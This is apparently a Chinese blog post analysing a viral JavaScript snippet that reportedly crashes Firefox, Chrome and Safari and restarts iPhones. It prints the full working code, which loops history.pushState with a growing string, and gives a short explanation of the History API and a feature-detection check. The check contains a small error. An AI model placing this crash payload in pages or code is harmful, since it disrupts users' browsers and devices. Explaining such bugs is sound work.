最近在空间及朋友圈流行着一段代码,使用下面这段JavaScript代码能让firefox,chrome,safari浏览器崩溃,而且还能让iPhone重启,今天我们就这一脚本进行分析其中背后的原理
这十二行代码的起源应该是Twitter上的 IT Security Tweets ™ @F1r3h4nd:
<html> <body> <script> var total=""; for (var i=0;i<1000000;i++) { total= total+i.toString(); history.pushState(0,0,total); } </script> </body> </html>
History 接口允许操作浏览器的曾经在标签页或者框架里访问的历史记录值得注意的是,脚本中使用了 History 接口的 pushState 方法,用于向浏览器历史添加了一个状态。
如何判断你的浏览器支持 History.pushState
// 标准检测 (function(root){ return !!(root.history && root.pushState); })(window);